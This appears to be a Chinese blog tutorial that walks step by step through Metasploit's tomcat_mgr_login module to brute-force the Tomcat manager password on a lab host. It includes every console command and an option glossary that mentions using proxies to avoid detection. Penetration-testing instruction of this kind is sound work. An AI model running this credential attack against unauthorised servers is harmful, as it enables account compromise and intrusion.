09 漏洞利用:使用Metasploit获取Tomcat的密码

本文使用 Metasploit module 去执行一个对Tomcat服务器的字典攻击,用来获取管理后台的密码。

实践-准备

如果是第一次使用,可能需要初始化并启动数据库:

msfdb init
msfdb start

实践-操作

  1. 启动Metasploit的控制台:
msfconsole
  1. 加载模块:tomcat_mgr_login
use auxiliary/scanner/http/tomcat_mgr_login
  1. 查看可用参数
show options
  1. 设置目标机器IP:
set rhosts 192.168.150.143
  1. 通过添加线程数,可以加速任务,这里我们设置为 5:
set threads 5
  1. 如果暴力破解速度过快,服务器会应为短时间内接收大量请求而崩溃,这里我们降低速度:
set bruteforce_speed 3
  1. 其他配置保持默认,使用默认字典,开始执行:
run
Paste_Image.png

Paste_Image.png

如图,绿色 + 号开头的那个,就是找到的匹配密码

总结

默认情况下,Tomcat使用TCP的8080端口,控制台应用上下文是:
/manager/html,这个应用使用HTTP认证。Metasploit 辅助模块(tomcat_mgr_login)中的一些配置,说明如下:

  • BLANK_PASSWORDS: Adds a test with blank password for every user tried
  • PASSWORD: It's useful if we want to test a single password with multiple users or to add a specific one not included in the list
  • PASS_FILE: The password list we will use for the test
  • Proxies: This is the option we need to configure if we need to go through a proxy to reach our target or to avoid detection
  • RHOSTS: The host, hosts (separated by spaces), or file with hosts (file:/path/to/file/with/hosts) we want to test.
  • RHOSTS: The host, hosts (separated by spaces), or file with hosts (file:/path/to/file/with/hosts) we want to test
  • STOP_ON_SUCCESS: Stop trying a host when a valid password is found in it
  • TARGERURI: Location of the manager application inside the host
  • USERNAME: Define a specific username to test, it can be tested alone or added to the list defined in USER_FILE
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • **2014真题Directions:Read the following text. Choose the be...
    又是夜半惊坐起阅读 9,934评论 0 23
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,973评论 19 139